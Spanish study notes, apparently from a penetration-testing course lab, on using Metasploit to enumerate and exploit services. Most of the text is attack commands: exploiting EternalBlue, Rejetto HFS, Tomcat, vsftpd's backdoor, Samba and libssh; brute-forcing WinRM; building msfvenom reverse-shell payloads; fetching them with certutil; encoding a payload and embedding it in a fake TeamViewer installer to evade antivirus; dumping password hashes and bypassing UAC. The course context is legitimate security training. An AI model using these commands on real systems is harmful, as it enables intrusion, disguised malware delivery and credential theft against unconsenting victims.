  • Importacion de modulos personalizados

• Exploitation

  • Correr el modulo de forma local
  • Establecer parametros
  • Correr

• Escalada de privilegios

  • Busqueda de vulnerabilidades
  • Recopilacion de credenciales
  • Impersonacion de tokens

• Post explotation

  • Pivoting
  • Recopilacion de credenciales
  • Exfiltracion de datos
  • Limpieza

Comandos basicos

Comandos	Explicacion
msfconsole -q
help	Menu de ayuda
version
show all	Nos muestra todos los modulos
show exploit	Nos muestra todos los modulos de la categoria dada
search algo	Buscara en los modulos lo que contenga nuestra cadena
use module o N	Podemos seleccionar el modulo por su nombre o por el numero en el que aparece en las opciones de modulos que ha encontrado el search
show options	Muestras las opciones que tiene el modulo para configurar las importantes Normalmente se divide en las opciones del modulo y las del payload
set VARIABLE VALOR	Asi se configura una variable local para ese modulo
setg VARIABLE VALOR	Asi se configura una variable global para todos los modulos que contengan esa variable
set payload windows/meterpreter/reverse_tcp	Para cambiar el payload a otro
run	Correr el modulo
back	Ir un paso atras, en este caso no estaremos usando el modulo
search cve:2017 type:exploit platform:windows	Con esto estamos buscando CVEs del 2017 con la categoria de exploit para la plataforma de Windows
connect -h	Es una comando que nos permite comunicarnos con un host, parecido a usar netcat
connect IP port	Nos dara un banner el servicio Tambien se puede hacer un listener

Manejo de workspaces

Comandos	Explicacion
service postgresql start && msfconsole -q
db_status	Ver si la base de datos esta activa
workspace -h
workspace	Nos muestra una lista de los workspace
workspace -a NOMBRE	Crear un workspace
workspace	Nos dara la lista y veremos que estamos usando NOMBRE
workspace OTRO_NOMBRE	Para cambiar entre workspace
workspace -d NOMBRE	Borrar un workspace
workspace -r NOMBRE NOMBRE_NUEVO	Renombrar un workspace

Exportar info a MetaSploit

Se importa el xml a metasploit. Esto hace que siempre tengamos la informacion ordenada en una bbdd dividida por workspace, escaneo y tambien nos filtra al principio la informacion mas relevante de los escaneos

COMANDOS PARA EXPORTAR:

service postgrel start msfconsole

workspace -a NOMBRE_WORKSPACE workspace db_status db_import /RUTA/XML hosts (ver los hosts de la bbdd) services (puertos encontrados para el host) db nmap OPCIONES IP (realizar un scaneo nmap desde metasploit que se guardara en la bbdd)

Cada bbdd esta separada por workspace y es persistente al salirse

COMANDOS DE MSFCONSOLE PARA SACAR TODA LA INFORMACION DE NMAP

Comando	Explicacion
db_stats	Estadisticas rapidas del workspace
db_import XML	Importar el XML
db_export -f xml/pedump nombre.xml/txt	Exportar salidas en .xml o .txt
hosts	Muestra todos los hosts encontrados en el escaneo
hosts -v	Informacion detallada de los hosts
hosts -c address, os_name_os_flavor,info	Elegir las colunmas concretas
services	Ver los servicios extraidos
services -p N –rhosts	Sirve para ver solo las IPs con esos puertos. Util para lanzar modulos a esos puertos especificos
servivces -p N -R	Completa el campo RHOSTS de las OPTIONS con las IPs que contengan esos puertos
getg RHOSTS, unsetg RHOSTS	Con el comando anterior hemos puesto RHOSTS como variable global a las IPs con esos puertos. Con estos comandos vemos la variable global RHOST si existe y la vaciamos
creds	Muestra todas las credenciales encontradas
creds -p PUERTO/admin(nombre o patron)	Muestra las credenciales filtradas por lo que se le pase ya sea un puerto o un nombre de usaurio…
notes	Guarda las notas de los NSE y Metasploit
notes -R IP	Ver notas de un host
vulns	Ver vulnerabilidades encontradas
loot	Evidencias que ha encontrado metasploit (passwords, config.xml…)
routes	Rutas y poviting si existen

EJEMPLO: ![[Pasted image 20260215105927.png]]![[Pasted image 20260215105939.png]]![[Pasted image 20260215105949.png]]![[Pasted image 20260215110011.png]]![[Pasted image 20260215110027.png]]![[Pasted image 20260215110035.png]]![[Pasted image 20260215111151.png]]![[Pasted image 20260215111208.png]]![[Pasted image 20260215111218.png]]

Mas cosas: ![[Pasted image 20260215113154.png]]![[Pasted image 20260215113203.png]]![[Pasted image 20260215113216.png]]

RHOSTS ![[Pasted image 20260215113229.png]] ![[Pasted image 20260215113253.png]]![[Pasted image 20260215113509.png]]![[Pasted image 20260215113531.png]] Salen los dos que tenian 111 como RHOSTS directamente ![[Pasted image 20260215113717.png]]

Estos modulos auxiliares sirven para escanear, descubrir y fuzzear

Se pueden usara para TCP/UDP Port Scanning y para enumerar servicios FTP, SSH, HTTP… para sacar mas informacion

Se puede usar recoleccion de informacion y post-explotacion

Estos modulos son especialmente utiles para post-explotacion. Una vez que tenemos acceso al objetivo para no tener que importar Nmap

Infraestructura del LAB

![[Pasted image 20260216172743.png]]

Objetivo: encontrar Open Ports en el primer target con auxiliary modules MSF Despues: explotar el servicio que esta corriendo para obtener un punto de apoyo Tras esto: usar el punto de apoyo para acceder al sistema interno de la subred (pivoting). Aqui es donde usaremos modulos para scan open ports en el segundo objetivo

Pasos

![[Pasted image 20260216173021.png]] ![[Pasted image 20260216173027.png]]![[Pasted image 20260216173032.png]]![[Pasted image 20260216173038.png]]![[Pasted image 20260216173044.png]]![[Pasted image 20260216173049.png]]![[Pasted image 20260216173054.png]]![[Pasted image 20260216173059.png]] FALTA UN 1 EN demo1.ine.local ![[Pasted image 20260216173116.png]]![[Pasted image 20260216173120.png]]![[Pasted image 20260216173124.png]]![[Pasted image 20260216173129.png]]![[Pasted image 20260216173133.png]]![[Pasted image 20260216173139.png]]

Otras formas de hacerlo: exportando un script tipo Nmap propio y exportando el propio nmap

![[Pasted image 20260216173150.png]]![[Pasted image 20260216173154.png]]![[Pasted image 20260216173158.png]]![[Pasted image 20260216173202.png]]

Metasploit tiene muchisimos modulos auxiliares para poder enumerar servicios, esto junto a su bbdd postgresql y poder de separacion en workspaces nos hace todo mas facil

En todas las enumeraciones se haran los mismos pasos (previamente abremos realizado un escaneo de puertos para conocer los puertos y servicios que estan corriendo)

Paso	Explicacion
service postgresql start	Iniciamos la bbdd de msf
msfconsole	Iniciamos msfconsole
workspace -a NOMBRE	Creamos un workspace para ese servicio
search type:auxiliary name:NOMBRE_PROTCOLO	Buscamos los modulos auxiliares que nos ayudaran a la enumeracion
setg RHOST IP/hostname setg RHOSTS IP/hostname (unsetg)	Ponemos como variables globales la IP/hostname para que no tengamos que ponerlo constantemente
use X/NOMBRE_MODULO	Elegimos el modulo
show options	Vemos las opciones que hay que configurar en cada modulo
set NOMBRE_OPTION VALOR	Ponemos valor a las que necesitemos
run	Corremos el modulo
db_export -f (xml, nmap…) NOMBRE_ARCHIVO	Exportamos resultados

EJEMPLO COMPLETO AL FINAL DE ESTA NOTA

Otros comandos utiles de msfconsole

Comando	Explicacion
unset OPTION	Eliminar valor de una opcion
services	Muestra los servicios encontrados
vulns	Ver vulnerabilidades
loot	Ver info critica recogida
back	Volver pero sin salir de metasploit. Puedes salirte de un modulo por ejemplo
search portscan	Para buscar tipos de escaneo para encontrar los puertos y servicios que estan corriendo

Wordlist de metasploit

USERNAME:

• /usr/share/metasploit-framework/data/wordlist/common_users.txt
• /usr/share/metasploit-framework/data/wordlist/unix_usernames.txt

PASSWORD:

• /usr/share/metasploit-framework/data/wordlist/common_pass.txt
• /usr/share/metasploit-framework/data/wordlist/unix_passwords.txt

Ejemplo completo

Con FTP, nuestro target es victim-1:

![[Pasted image 20260218192415.png]]![[Pasted image 20260218192424.png]]![[Pasted image 20260218192430.png]]

Aqui falta: workspace -a http_enumeration

![[Pasted image 20260218192437.png]] ![[Pasted image 20260218192507.png]]![[Pasted image 20260218192515.png]]![[Pasted image 20260218192520.png]]

Proceso de escanear un objetivo para encontrar vulnerabilidades y verificar si pueden ser explotadas

Hemos conseguido identificar y explotar malas configuraciones pero en esta seccion vamos a explotar el proceso de usar modelos auxiliares y exploits para escanear e identificar vulnerabilidades de servicios, OS y webapps

Esta info debe estar accesoble durante la fase de explotacion

Comando usados en el PoC

Comando	Explicacion
sudo nmap -sn IP_red/mascara	Encontrar el host activo
service postgrestql start
msfconsole
setg RHOST/S IP
workspace -a Metasploitable3
db_nmap -Pn -sS -sV -O -T4 IP	Escaneo de versiones y puertos en el host activo
hosts
services
search type:exploit name:“NOMBRE DEL SERVICIO”	iis–> no tiene modulos de vulns para esa version mysql–> no hay nada para nuestra version sunglassfish–>encontramos uno pero no sabemos para que version
use “NOMBRE_MODULO_SUNGLASSSFISH”	Vemos que no tiene payload pero el default es un reverse shell de Liniux
info	En la descripcion dice que ha sido probado para las versiones 2.0, 3.0 y 4.0 (La nuestra es la 4.0 por lo que nos sirve)
set payload windows/meterpreter/reverse_tcp	Le adjuntamos el payload con reverse shell de meterpreter para Windows
Podriamos tratar de explotarlo pero no estamos viendo explotaciones aun

Usando searchsploit para encontrar vulns

Searchsploit es una base de datos con vulnerabilidades conocidas que ademas contiene algunos modulos de MSF en su base de datos. Nosotros nos queremos centrar en esos para luego usarlos en Metasploit

En este caso vamos a buscar exploits para SMB 445/TCP

Comando	Explicacion
searchsploit “Microsoft Windows SMB” | grep -e “Metasploit”	Buscamos exploits SMB Windows Vemos un resultado que dice Windows 7/8.1/2008 R2/2012 llamado “EternalBlue” pero no es de MSF
msfconsole	Volvemos a MSF y lo buscamos por si existiese
search “Eternablue”	Encontramos un modulo exploit y un scanner auxiliar que nos verifica primero si el objetivo es vulnerable
use /auxiliary/scanner/
run	Nos dice que es explotable
use /exploit/…/eternalblue
run	Nos saldran logs de debug y se abrira una sesion de Meterpreter
sysinfo	Vemos info del sistema
exit

Usando db_autopwn de MSF

Es un plugin que facilita el exploit y ataques de vulnerabilidades pero fue eliminado de forma oficial en MSF por lo que se tiene que instalar manualmente

Comando	Explicacion
wget URL	Descargamos el plugin del GitHub
mv archivo /usr/share/metasploit-framework/plugins/	Lo movemos a la carpeta de plugins
msfconsole
load db_autopwn	Lo cargamos en MSF
db_autopwn	Es como el help, nos da opciones
db_autopwn -p -t	-p: selecciona los puertos del objetivo -t: muestra todos los modulos de exploit en base a los puertos del objetivo
db_autopwn -p -t -PI 445	-PI: especificar los puertos
analyze	Analiza el contenido de la base de datos MSF (hosts y servicios) y nos da una lista de vulnerabilidades En este caso no saca 3: - Eternalblue (ready to test) - Psexec (requiere credenciales) - Doublepulsar (ready to test)
vulns	Ahora nos muestra las vulnerabilides en este caso de SMB

Tambien visto en: [[2. Creando payloads con MSFVenom]]

Comandos

Comandos	Explicacion
msfvenom	Menu de ayuda
msfvenom –list payloads	Listar los payloads disponibles Diferencias los stage payloads de los no: - Stage: sistema/arquitectura/meterpreter/reverse_tcp. Este es un stage porque primero genera un meterpreter y luego carga el reverse shell tcp - Non-satge: sistema/arquitectura/meterpreter_reverse_tcp. Este es un non-stage porque directamente carga el meterpreter y reverse shell de una
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f exe > nombre_archivo.exe	-a x86: especificamos que la arquitectura es 32bits -p payload: ponemos un payload, en este caso stage y para 32bits (si no se especifica la arquitectura es 32bits) - Se ponen las variables -f exe: se define la extension del archivo
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f exe > nombre_archivo.exe	Para un 64bits
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f elf > nombre_archivo.exe	Para Linux 32bits
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=Nuestra_IP LPORT=N -f elf > nombre_archivo.exe	Para 64bits
msfvenom –list format	Formatos en los que podemos crear el archivo
Ahora queremos traspasarlo y despues crear un handler
sudo python -m SimpleHTTPServer 80	Creamos un servidor simple http en la carpeta de los payloads
msfconsole -q	Vamos a crear el handler
use multi/handler
set payload /payload que se va ejecutar	Ponemos el payload que hemos creado. Ejemplo: para linux x64: linux/x64/meterpreter/reverse_tcp
set LHOST Nuestra_IP
set LPORT Puerto_del_msfvenom
run	Ya estara el handler
Desde el Windows System
En el browser navegamos hasta http://IP:80	Alli veremos los payloads. Descargamos el que necesitemos
Lo ejecutamos
Volviendo a nuestra Linux
En MSF veremos que el multi/handler a conseguido el reverse shell meterpreter

Comandos

Comandos	Explicacion
msfvenom –list encoders	Lista de los encoders que podemos usar. Los unicos que tienen una puntuacion execelente son: - cmd/powershell_base64 - x86/shikata_ga_nai: usaremos este para tanto windows como linux
msfvenom -p windows/meterpreter/reverse_tcp LHOST=NUESTRA_IP LPORT=N -e x86/shikata_ga_nai -f exe > nombre.exe	Vemos que se realizo 1 iteracion de shikata_ga_nai. Podemos encodearlo las veces que queramos, cuanto mas menos AVs lo detectaran
-i 10 o –iterations 10	Numero de iteraciones
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=NUESTRA_IP LPORT=N -b ‘\x00’ -i10 -e x86/shikata_ga_nai -f elf > nombre.exe	Para Linux 32bits con 10 iteraciones -b ‘\x00’ : elimina bytes nulos al codificar por si causasen erros Otros son: - 0x0a → LF (salto de línea) - 0x0d → CR (retorno de carro) - 0x20 -> evitar espacios…
Pasar y abrir multihandler
python -m SimpleHTTPServer 80
msfconsole -q
use multi/handler
set payload PAYLOAD_QUE_USEMOS
set LHOST Nuestra IP
ser LPORT PUERTO_USADO_MSFVENOM
run
Desde el objetivo
Navegamos en el browser a: http://IP:Puerto y descargamos el paylaod
Ejecutamos y obtemos el payload en nuestro multi/handler

Evasion IDS/IPS

-k: keep working -x /RUTA/EJECUTABLE_O_ARCHIVOBENIGNO

msfvenom windows/x86/meterpreter_reverse_tcp LHOST=IP LPORT=PUERTO -k -x ~/Downloads/TeamViewer_Setup.exe -e x86/shikata_ga_nai -a x86 --platform windows -o ~/Desktop/TeamViewer_Setup.exe -i 5

Otro ejemplo de evasion con archivos:

1. Creamos el payload encodeado

msfvenom windows/x86/meterpreter_reverse_tcp LHOST=IP LPORT=PUERTO -k -e x86/shikata_ga_nai -a x86 --platform windows -o ~/test.js -i 5

2. Descargamos rar para linux y creamos un .rar para el archivo .js creado

wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz
tar -xzvf rarlinux-x64-612.tar.gz && cd rar
rar a ~/test.rar -p ~/test.js

![[Pasted image 20260610104245.png]]

3. Le quitamos la extension .rar

mv test.rar test

![[Pasted image 20260610104319.png]]

4. Volvemos a hacer un rar sobre test y le quitamos de nuevo la extension

rar a test2.rar -p test
mv test2.rar test2

![[Pasted image 20260610104435.png]]

Comprobar deteccion

Esto requiere el registro gratuito en VirusTotal

msf-virustotal -k <API key> -f ARCHIVO

![[Pasted image 20260610104446.png]]

Comandos	Explicacion
ls -ls /usr/share/metasploit-framework/scripts/resource/	Scripts que vienen prepackaged
vim /usr/share/metasploit-framework/scripts/resource/auto_brute.rc

Ejemplo creando un multi/handler

nano handlre.rc
use multi/hanlder set payload windows/meterpreter/reverse_tcp set lhost IP set lport N run
msfconolse -r handler.rc	Se iniciara el msf y luego se ejecutara el script

Ejemplo portscan.rc

nano portscan.rc
use auxiliary/scanner/portscan/tcp set rhost IP run
msfconolse -r portscan.rc	Se iniciara el msf y luego se ejecutara el script

Tambien se pueden ejecutar directamente dentro de MSF

resource /ruta/portscan.rc	Se ejecutara el script

Podemos crear un scritp con los comandos realizados previamente

msfconsole -q
use auxiliary/scanner/portscan/tcp
set rhost IP
run
makerc /ruta/archivo.rc	Se creara un script en la ruta con los comandos realizados

Un HGS es un servidor web disenado para comparticion de archivos y documentos

Normalmente corre en el puerto –> 80 y usa el protocolo HTTP

Rejetto es un popular free and open source HFS que puede ser montado en Windows y Linux Rejetto HFS V2.3 es vulnerable a remote command execution

MSF tiene un exploit que podemos usar para ganar acceso al host de HFS

Comandos

Comandos	Explicacion
service postgresql start && msfconsole -q
db_status
workspace -a hfs
setg rhost/s IP
db_nmap -Pn -sS -sV -O -T4 IP	Podemos ver un HFS 2.3 y vemos que el sistema esta corriendo en un Windows Server 2008 R2
Podremos ver la pagina web desde el browser poniendo la ip:puerto
search type:exploit name:rejetto
use 0
show options	Tenemos todo
info	Vemos que esta explotacion se debe a una sanetizacion pobre al usar regex en el archivo PaserLib.pas usando %00 explotando los comandos de scripting del HFS Este es succesful en HFS 2.3
run

Ejemplo

![[Pasted image 20260301144714.png]]![[Pasted image 20260301144717.png]]![[Pasted image 20260301144721.png]]![[Pasted image 20260301144725.png]]![[Pasted image 20260301144729.png]]![[Pasted image 20260301144733.png]]

Visto en: [[1. Explotando MS17-010 SMB Vuln (EternalBlue)]]

Explicacion de WinRM vista en: [[1. Explotando WinRM]]

Comandos

Comandos	Explicacion
service postgresql start && msfconsole -q
workspace -a WinRM
db_nmap -Pn -sS -sV -O -T4 IP	No vemos un servidor WinRM en la salida por lo que tendremos que hacer un scaneo de todos los puertos
db_nmap -Pn -sS -sV -O -p- -T4 IP
services	Vemos que en el puerto 5985 hay un puerto WinRM. Aunque en la info ponga otra cosa sabemos que WinRM tiene ese puerto y ademas pone que es un HTTPAPI, WinRM trabaja sobre HTTP
search type:auxiliary name:winrm	Vamos a ver los metodos de autenticacion asociados
use …/winrm_auth_methods
show options
setg rhosts IP
URI	Para asegurarnos de que es esa esxactamente vamso al navegador y buscamos –> IP:Puerto/wsman. Si nos carga pero esta en blanca, ESA ES
run	Vemos que tiene activado el protocolo de negociacion y el basico lo que significa que podemos hacer un bruteforce
search winrm_login
use
show options
set user_file /usr/share/metasploit/framework/data/wordlist/common_users.txt
set pass_file /usr/share/metasploit/framework/data/wordlist/unix_passwords.txt
set verbose false
run	Encontramos administrator:tinkerbell
search winr_cmd
use
set username administrator
set password tinkerbell
set cmd COMANDO(whoami)
search winrm_script
use
show options
set username adminsitrator
set password tinkerbell
set force_vbs true
run
getuid

Es un open source Java servlet (clase de java que se ejecuta como webserver)

Se usa para contruir y hostear websites dinamicos y aplicaciones web basadas en java sw. Suelen estar desarrolladas con PHP

Usa el protocolo HTTP para facilitar la comunicacion de capas bajas entre servidor y cliente

Puerto –> 8080

Apache Tomcat V8.5.19 es vulnerable a remote code execution que puede permitir potencialmente al atacante subir y ejecutar payloads JSP para ganar acceso remoto

Podemos usar el modulo exploit de MSF y consecuentemente ganar acceso al objetivo

Comandos

Comandos	Explicacion
service postgresql start && msfconsole -q
workspace -a Tomcat
setg rhosts IP
db_nmap -Pn -sS -sV -O -T4 IP	Encontramos un Apache Tomcat 8.5.19 en un Windows Server 2088 R2 - 2012
services
Abrimos el navegador IP:8080 para ver si hay un apache tomcat realmente
search type:exploit tomcat_jsp
use 0
show options
info	Este payload sube un payload jsp y lo ejecuta
set payload java/jsp_shell_bind_tcp
show options	Para ver las opciones del payload ahora
set shell cmd
run	Si no funciona a la primera, ctl C y volver a correr
Ctl Z	Para ponerlo en segundo plano porque queremos tener un meterpreter session
sessions
Abrimos una nueva terminal
msfvenom-p windows/meterpreter/reverse_tcp LHOST=IP LPORT=N-f exe > nombre.exe
sudo python -m SimpleHTTPServer 80
Volvemos a MSF
sessions N
certutil -urlcache -f http://IP/nombre.exe nombre.exe
Volvemos a la otra terminal
nano handler.rc
use multi/handler set payload windows/meterpreter/reverse_tcp set LHOST IP set LPORT N run
msfconsole -r handler.rc
Volvemos a la sesion de MSF anterior
.\nombre.exe
Si volvemos a la otra MSF tendremos un Meterpreter session

Ejemplo

![[Pasted image 20260301160534.png]]![[Pasted image 20260301160538.png]]![[Pasted image 20260301160542.png]]![[Pasted image 20260301160547.png]]![[Pasted image 20260301160551.png]]![[Pasted image 20260301160555.png]]![[Pasted image 20260301160559.png]]

Vamos a una nueva terminal ![[Pasted image 20260301160610.png]]

Volvemos al MSF ![[Pasted image 20260301160619.png]]

Volvemos a la otra terminal ![[Pasted image 20260301160632.png]]![[Pasted image 20260301160636.png]]![[Pasted image 20260301160641.png]]

Volvemos al otro MSF ![[Pasted image 20260301160652.png]]

Volvemos al handler ![[Pasted image 20260301160703.png]]

FTP es un protocolo de transferencia de archivos que usa el puerto 21/TCP usado para facilitar la transferencia de archivos entre servidor y clientes

Tambien se suele usar para transferencia de archivos hacia o desde un webserver

vsftpd es un servidor FTP para Unix que es el default para Ubuntu, CentOS y Fedora

vsftpd v2.3.4 es vulnerable a command execution y es facilitado por un backdoor mailioso que fue añadido al archivo de descarga de vsftpd desde un ataque de cadena de suministro

Comandos

Comandos	Explicacion
service postgresql start & msfconsole -q
workspace -a NOMBRE
setg rhosts IP
db_nmap -Pn -sS -sV -O -T4 IP	Encontramos un servicio ftp por el puerto 21 con version 2.3.4
services
analyze	No funciona
search vsftp	Solo hay un exploit para la version 2.3.4
use
info	Este modulo explota una backdoor maliciosa que fue añadida al archivo de descarga introducida en un tar.gz en 2011 y fue eliminado ese año
run
/bin/bash -i
Vamos a ponerla con Meterpreter
Ctl Z	Para llevarla al segundo plano
sessions	Para ver el numero de session
search shell_to_meterpreter
use
show options
set LHOST IP
set session N
run	Si nos da un error no pasa nada
sessions	Tendremos ahi la Meterpreter

Ejemplo

![[Pasted image 20260302154632.png]]![[Pasted image 20260302154642.png]]![[Pasted image 20260302154649.png]]![[Pasted image 20260302154656.png]]

SMB es un protocolo de comparticion de archivos de red que se usa para facilitar la la comparticion de archivos y perifericos entre ordenadores en una misma LAN

Puerto –> 445/TCP y si esta bajo NetBIOS 139/TCP

SAMBA es la version Linux de SMB que permite a los sistemas Windows acceder a sheres y dispositivos Linux

SAMB V3.5.0 es vulnerable a ejcucion remota de codigo permitiendo a clientes maliciosos subir archivos una libreria compartida a un share escribible y despues causa al servidor a cargarlo y ejecutarlo

Comandos

Comandos	Explicacion
service postgresql start && msfconsole -q
workspace -a SAMBA
db_nmap -Pn -sS -sV -O -T4 IP	Vemos un samba pero sin una version exacta
setg rhosts IP
search type:exploit name:samba	Queremos el is_known_pipename
use
show options
check	Verifica si es ejecutable
run
/bin/bash -i
Vamos a poner un Meterpreter
Ctl Z
search shell_to_meterpreter
use
show options
set LHOST IP
set session N
run
sessions

Ejemplo

![[Pasted image 20260302160322.png]]![[Pasted image 20260302160333.png]]![[Pasted image 20260302160348.png]]![[Pasted image 20260302160350.png]]![[Pasted image 20260302160354.png]]![[Pasted image 20260302160358.png]]![[Pasted image 20260302160400.png]]![[Pasted image 20260302160403.png]]

SSH es un protocolo de adminsitracion remota que ofrece encriptacion y es el sucesor de telnet. Suele ser usado apra acceder a servidores y sistemas remotamente

Puerto –> 22/TCP

libssh es una libreria multiplataforma implementada en SSHv2 en el lado del cliente y servidor

libssh V0.6.0-0.8.0 es vulnerable a bypass de autenticacion que puede ser explotable para ejecutar comandos en un servidor objetivo

Comandos

Comandos	Explicacion
service postgresql start && msfconsole -q
workspace -a SSH_libssh
setg rhosts IP
db_nmap -Pn -sS -sV -O -T4 IP
services	Vemos un servicio ssh v2.0
search libssh_Auth_bypass
use
show options
set spawn_pty true
run
sessions
cat /etc/*release	Informacion del sistema
uname -r	Informacion del kernel
Vamos a poner un Meterpreter
Ctl Z
search shell_to_meterpreter
use
show options
set LHOST IP
set session N
run
sessions

SNMP es un protocolo de comunicacion que es usado para la transmision de email

Puerto –> 25/TCP. Puede ser configurado tambein en 465 y 6587

Haraka es un open source servidor SNMP de alto rendimiento creado en Node.js. Este viene con un plugin para procesamiento adjunto. Las versiones anteriores a V2.8.9 son vulnerables a command injection

Comandos

Comandos	Explicacion
service postgresql start && msfconsole -q
workspace -a snmp
setg rhosts IP
db_nmap -Pn -sS -sV -O -T4 IP
services	Vemos un snmp en el puerto 25 version 2.8.8
search type:exploit name:haraka
use
show options
set srvport 9898	Lo cambiamos porque el payload usa el 8080
set email_to [email protected]	Debe ser aceptado por el servidor
set payload linux/x64/meterpreter_reverse_tcp
set lhost eht1
run

Me sale el lab con el puerto 25 cerrado

Comandos	Explicacion
sysinfo	Informacion del sistema comprometido
getuid	Conseguir el usuario
help	Lista de comandos
exit	Terminarla (NO HACER AHORA)
bg	Poner en background
sessions -h
sessions -C COMANDO -i N	Ejecuta un comando en una session sin tener que meterte
sessions -k N	Matar la session (NO HACER AHORA)
sessions -n NOMBRE	Poner nombre a las sessiones
sessions N
pwd	Ver el directorio en el que estamos
cd ..
cat flag1.txt
edit archivo	Editar una archivo :q salir
cd Secret FIles
cat flag2.txt
cd ..
download flag5.zip /ruta/nombre_archivo
bg
unzip flag5.txt
checksum md5 /bin/binario	Obtener el hash de un binario
getenv VARIABLE	Conseguir el valor de una variable
search -d /usr/bin -f *backdoor*	Busca un archivo en el sistema de directorio
search -d /usr/bin -f *.php
shell	Obtener una shell native del sistema
Ctl C	Termina la shell y vuelve a Meterpreter
ps	Ver la lista de procesos. Si queremos migrar a un proceso en especifico
migrate N (PID)
execute -f CMANDO	Ejecutar un comando en el sistema desde meterpreter
mkdir nombre
rmdir nombre
ls o lls

Ejemplo

Solo hago la explotacion ![[Pasted image 20260302170835.png]]![[Pasted image 20260302170840.png]]![[Pasted image 20260302170843.png]]

Tiene un la extensión xdebug habilitada ![[Pasted image 20260302170852.png]]![[Pasted image 20260302170856.png]]

Comandos	Explicacion
service postgresql start && msfconsole -q
workspace -a upgrading_shells
setg rhosts IP
db_nmap -Pn -sS -sV -O -T4 IP
services	Encontramos un samba
search type:exploit samba	is_known_pipename
use
show options
run	Nos dara una shell normal
/bin/bash -i
Ctl Z	Background
sessions
Upgradearla
search shell_to_meterpreter
use
show options
set session N
set lhost IP
run	Nos dara una meterpreter shell
sessions	Ahi estara
Otra forma
sessions -u N	Ejecuta lo mismo pero de forma automatica
sessions	Ahi estara el meterpreter

Ejemplo

![[Pasted image 20260302172225.png]]![[Pasted image 20260302172228.png]]![[Pasted image 20260302172232.png]]![[Pasted image 20260302172236.png]]![[Pasted image 20260302172239.png]]![[Pasted image 20260302172241.png]]

MSF nos provee con varios modulos de Windows y Linux

Podemos usar estos modulos para enumerar informacion del sistema Windows del que tenemos acceso>

• Enumeracion de privilegios de usuario
• Enumeracion de usuarios logeados
• VM check
• Enumeracion de programas instalados
• Enumeracion de AVs
• Enumeracion de maquinas conectadas al dominio
• Enumeracion de parches instalados
• Enumeracion de shares

Comandos

Comandos	Explicacion
service postgresql start && msfconsole -q
workspace -a windows_post
set rhosts IP
db_nmap -Pn -sS -sV -O -T4 IP	Vemos un servidor HTTP que es vulnerable a rejjeto como sabemos 2.3
search rejetto
use
show options
run	Obtenemos una meterpreter session
sysinfo	Hostname, 2012 R2, x64 y meterpreter x86(32bits)
getuid	Somos Administrator
screenshot	Hace una captura de la pantalla del host. Si vamos al al sistema de archivos veremos que esta nuestra captura Hay keyloggers y mas
getsystem	Intenta elevar privilegios
getuid	Ahora somos AUTHORITY\SYSTEM
hashdump	Trata de obtener SAM hashes
show_mount	Nos enseña los mounts que hay en el sistema (C:, D:… estos se pueden montar en el sistema local para luego investigar y navegar en ellos)
ps	Nos muestra los procesos
migrate N	Migrar a uno de esos procesos. Normalmente querremos explorer.exe. Esto lo hace con impersonate tokens
sysinfo	Ahora nos dira que tenemos un meterpreter x64
ls
cat
cd
download
bg
Ahora vamos con los modulos de postexplotacion

• post/windows/manage/migrate

search migrate
use post/windows/manage/migrate	Nos permite crear un proceso y migrar a el
show options
set session N
run	Falla porque ya hemos migrado

• /post/windows/gather/win_privs

search win_privs
use /post/windows/gather/win_privs	Nos permite enumerar los privilegios del usuario actual
set session N
run	- Is Admin: true - Is System: no tenemos privs de sistema porque cambiarmos de usuario con impersonate tokens - Is In Local Admin Group: true - UAC Enable: true - UID: MAQUINA\Usuario

• /post/windows/gather/enum_logged_on_users

search enum_logged_on
use /post/windows/gather/enum_logged_on_users	Nos permite ver los usuarios logeados en el momento y recientes
show options
set session 1
run	Nos da los SID actuales y recientes

• /post/windows/gather/checkvm

search checkvm
use /post/windows/gather/checkvm	Nos dice si la maquina esta en un VM
show options
set session 1
run	Nos dice que es una Xen VM. Esto es importante porque hay modulos que pueden romper el entorno virtual y darnos acceso al host

• /post/windows/gather/enum_applications

search enum_applications
use /post/windows/gather/enum_applications	Nos da una lista con los programas descargados y su version
show options
set session 1
run	Algunas versiones de esas aplicaciones tendran vulns que nos permitan elevar nuestros privs

• /post/windows/gather/enum_av_excluded

search type:post platform_windows enum_av
use post/windows/gather/enum_av_excluded	Nos enumera las carpetas, extensiones… con exclusiones AV donde podremos ejecutar
show options
set session 1
run	Nos detecta el Deffender de Windows pero no exclusiones en este caso

• post/windows/gather/enum_computers

search enum_computer
use post/windows/gather/enum_computers	Enumera las maquinas conectadas al dominio
show options
set session 1
run	Esta maquina no esta conectada a un dominio

• post/windows/gather/enum_patches

search enum_patches
use post/windows/gather/enum_patches	Enumera los parches
show options
KB	KB patches son numeros identificadores de actualizaciones de Windows. Lo podemos modificar pero en este caso lo dejamos en default
set session 1
run	Nos dice que no se puede. Probamos a migrar de proceso a otro con AUTHORITY\SYSTEM
sessions N
ps
migrate PID	Hemos cambiado a svchost.exe
bg
run	No sigue dando error
Otra forma manual
sessions N
shell
systeminfo	Nos da info del sistema y una lista de los KB patches instalados

• /post/windows/gather/enum_shares

search enum_shares
use /post/windows/gather/enum_shares	Nos enumera los shares
show options
set sessions N
run	Encontramos un $print (de impresora)

• post/windows/manage/enable_rdp

search rdp platform:windows
use post/windows/manage/enable_rdp	Nos dice si RDP esta habilitado
show options
set sessions N
run	Nos dice que esta habilitado

Toda esta informacion se gurardara en:

loot	Nos dara informacion recopilada importante
/home/user/.msf4<7loot/	Aqui estara en el sistema de archivos

Podemos usar el modulo “Windows Escalate UAC Protection Bypass (con memory inyection)” para bypassear UAC usando el certificado de confianza del editor a traves de un proceso de inyeccion. Esto generara otras shell que tiene el UAC flag off

Comandos

Comandos	Explicacion
service postregresql start && msfconsole -q
workspace -a UAC
setg rhosts IP
db_nmap -Pn -sS -sV -O -T4 IP
services	Usaremos rejetto para el HTTP Server httpd 2.3
search rejetto
use
show options
set payload windows/x64/meterpreter/reverse_tcp
run	Obtenemos un meterpreter
sysinfo getuid	Somos admin (NO Adminsitrator)
getsystem	No funciona el elevar privs automaticamente
getprivs
shell
net users	Vemos usuarios admin y Administrator
net localgroup administrators	Somos parte de adminsitrators group
*Usamos esta tecnica porque es efectiva y estable para versiones anteriores y posteriores a Windows VIsta
